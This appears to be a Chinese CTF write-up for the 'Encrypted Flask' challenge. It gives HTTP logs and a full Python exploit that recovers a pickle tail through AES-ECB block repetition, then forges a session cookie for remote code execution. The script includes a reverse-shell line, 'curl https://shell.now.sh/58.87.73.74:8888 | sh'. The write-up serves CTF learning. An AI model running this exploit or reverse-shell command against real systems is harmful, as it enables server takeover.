[第三章 web进阶]Encrypted Flask
介绍:记录一下笔记,方便以后迅速回忆使用。
《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》
链接:https://pan.baidu.com/s/1PptLyzuhtPu3SbII8pKo_g 密码:njsl
第一步:查看网站的正常功能
Session (Your Choice)
Chaos
Crypto
Amazing
Exciting
RCE
Lucky
Great
AES
Interesting
根据提示的内容, 大概可以猜想是AES加密了
第二步:对AES加密方式的分析
- 对AES加密方式的分析, 通过注册一个超长的用户名, 比如
testXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
- 请求包
POST /register HTTP/1.1
Host: a432dab1-8ea0-4cc2-bede-1f9a06a37ab3.node3.buuoj.cn
Content-Length: 130
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://a432dab1-8ea0-4cc2-bede-1f9a06a37ab3.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://a432dab1-8ea0-4cc2-bede-1f9a06a37ab3.node3.buuoj.cn/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=testXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&password=123456789
- 响应包
HTTP/1.1 302 Found
Server: openresty
Date: Thu, 04 Mar 2021 01:35:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 209
Connection: close
Location: http://a432dab1-8ea0-4cc2-bede-1f9a06a37ab3.node3.buuoj.cn/
Set-Cookie: session=fae8a57d0d70e24ba3e5f856d8cf7ce5d509591e3864381eb4502e976e506a1a90f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f072af974ce3c571013a5e0452557b33ce039c4ab3b855a465; Path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>. If not click the link.
- 发现保存的session变成了
fae8a57d0d70e24ba3e5f856d8cf7ce5d509591e3864381eb4502e976e506a1a90f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f072af974ce3c571013a5e0452557b33ce039c4ab3b855a465
- 而里面包含有三个重复的
5710190f5625f1d01d9f072af974ce3c
串 - 我标出来,方便观看
fae8a57d0d70e24ba3e5f856d8cf7ce5d509591e3864381eb4502e976e506a1a90f5625f1d01d9f072af974ce3c
5710190f5625f1d01d9f072af974ce3c
5710190f5625f1d01d9f072af974ce3c
5710190f5625f1d01d9f072af974ce3c
5710190f5625f1d01d9f072af974ce3c
571013a5e0452557b33ce039c4ab3b855a465
那么根据题目中提到的`AES`, 基本上可以断定这个题是把`AES-ECB-128(some-informatin, username, more-information)`作为了session发送给客户端的. 那么我们不妨看看`more-information`具体是个什么东西.
第三步:
- 通过写一个脚本, 无限注册用户, 这里推荐用户名前面加一个由任意字符串组成的random串, 防止跟别人注册的东西重复
import requests
import random
import pickle
import os
import struct
import collections
url = "http://055c6ca3-cda7-485e-bdb5-456ef4ea4f2a.node3.buuoj.cn/"
def register(username, password):
while True:
try:
prefix = bytes([random.randint(0x20, 0x7e) for i in range(6)])
s = requests.session()
req = s.post(url+"/register", data={"username": prefix+username, "password":password})
return s.cookies.get_dict()
except (KeyError, requests.exceptions.ConnectionError):
pass
def split32_check(cookie):
g = [cookie[i:i+32] for i in range(0, len(cookie), 32)]
if len(list(g)) != len(set(g)):
l = [item for item, count in collections.Counter(g).items() if count > 1]
return l[0]
return None
def check_n():
for i in range(200):
cookie = register(b'X'*i, 'testpassword')["session"]
if not split32_check(cookie):
continue
else:
print("n =", i)
print("Cookie =", cookie)
return i, split32_check(cookie)
def restore_tail():
tail = b""
while len(tail)!=16:
for c in range(0, 255):
username = bytes([random.randint(0x20, 0x7e) for i in range(12)])
username = username+ (16 - len(tail) - 1) * b'X' + tail + bytes([c])
username = username + ((16 - len(tail) - 1) * b'X')
cookie = register(username, 'testpassword')['session']
if split32_check(cookie):
tail+=bytes([c])
print("tail now: ", tail)
break
return tail
class Shell(object):
def __reduce__(self):
return (os.system, ("bash -c 'curl https://shell.now.sh/58.87.73.74:8888 | sh'",))
def gen_payload(cmd):
payload = b'q\x01' # 结束前一个字符串
payload += b"cposix\nsystem\n(X"+struct.pack('<I', len(cmd))+cmd+b"tR" #payload_forwin
payload += b"e.\x00\x00\x00\x00\x00" # 闭合+ pickle结束
return payload
if __name__ == "__main__":
# Step One
# check_n()
n, repeat = check_n()
print(repeat)
# Step Two
# tail = restore_tail()
# print(tail)
# tail = b'q\x01Ne.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
# Step Three
payload = gen_payload(b"curl https://shell.now.sh/58.87.73.74:8888 | sh")
# Step Four
payload += b'\x00'*((16 - len(payload) % 16) % 16) # 补齐到16整数倍
username = bytes([random.randint(0x20, 0x7e) for i in range(n-32)])
username += payload
cookie = register(username, 'password')["session"]
new_cookie = cookie[:32]
for i in range(int(len(payload) / 16)):
new_cookie += repeat
new_cookie += cookie[32:]
req = requests.get(url, cookies={"session":new_cookie})
- 通过注册
username='random'+'X'*n
的字符串, 我们发现在n=45
字符串长度为51时, cookie中刚好出现了重复的串, 此时可以推断出, 重复的部分为密钥对’X’*16的加密结果
username[18:34] username[34:50]对应了重复的串, 而最后的32位十六进制编码的数则是对`more-information`的加密结果了
因为在AES-ECB-128加密方式中`AES-ECB-128('X'*15 + more-information[0]) == AES-ECB-128('X'*15 + c)`, 通过编写代码, 我们可以恢复c的值, 然后恢复出整个`more-information`串.
为: `b'q\x01Ne.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'`
第四步:
从tail中我们可以猜想到使用的编码方式为pickle
如果要搞定这部分, 需要对pickle的编码格式有一定的了解. 从恢复出的tail可以看出,
`q\x01`为前一个的结束
`N` -> `None`
`e.` -> 闭合
那我们就可以构造出一个payload, 发送给服务器
第五步:
直接看代码里面的step 4+吧, 这里因为pickle在格式化字符串的时候会将字符串的长度写在里面, 所以我们的payload不能直接运行, 需要将username补全到正确的长度, 让pickle认为username已经结束, 需要进行下一个部分的解析了.
而在AES-ECB中对于相同字符串的加密结果不会变, 那就导致了我可以直接用前面用于测试的`'X'*16`的加密后对应的字符串用来补全, 也就是代码中L77-82的作用.
然后pickle才会开始进行下一个对象, 也就是我们payload的解析, 从而完成RCE.
最后一步:
- RCE:
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92701.html